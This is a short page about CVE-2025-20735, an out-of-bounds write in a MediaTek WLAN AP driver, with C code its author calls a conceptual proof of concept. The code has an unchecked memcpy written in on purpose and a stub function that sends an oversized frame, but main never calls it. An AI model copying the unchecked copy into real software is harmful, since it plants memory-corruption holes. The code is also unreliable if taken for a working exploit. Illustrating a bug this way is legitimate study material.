CVE-2025-20735 MediaTek WLAN AP驱动越界写入权限提升漏洞

// CVE-2025-20735 MediaTek WLAN AP Driver Out-of-Bounds Write PoC // This is a conceptual PoC demonstrating the vulnerability pattern // Note: Actual exploitation requires specific MediaTek firmware and device access #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ether.h> // Simulated vulnerable function pattern void process_wlan_frame(unsigned char* frame_data, unsigned int length) { unsigned char buffer[256]; // VULNERABLE: Missing or incorrect bounds check // Should verify: if (length > sizeof(buffer)) return; memcpy(buffer, frame_data, length); // OOB write when length > 256 } int send_malicious_frame(int sockfd, char* iface) { unsigned char malicious_frame[1024]; struct ether_header *eth; unsigned char *payload; // Prepare Ethernet header eth = (struct ether_header *)malicious_frame; // ... header setup ... // Construct oversized payload to trigger OOB write payload = malicious_frame + sizeof(struct ether_header); memset(payload, 0x41, 512); // Oversized data // Send malicious frame return send(sockfd, malicious_frame, sizeof(malicious_frame), 0); } int main(int argc, char* argv[]) { printf("CVE-2025-20735 MediaTek WLAN AP Driver OOB Write\n"); printf("Target: MediaTek WLAN Driver\n"); printf("Vulnerability: Missing bounds check in frame processing\n"); printf("Impact: Local Privilege Escalation to root/kernel\n"); // Note: This PoC is for educational purposes only // Actual exploitation requires: // 1. Target device with vulnerable MediaTek firmware // 2. Local access to the device // 3. Ability to inject wireless frames return 0; }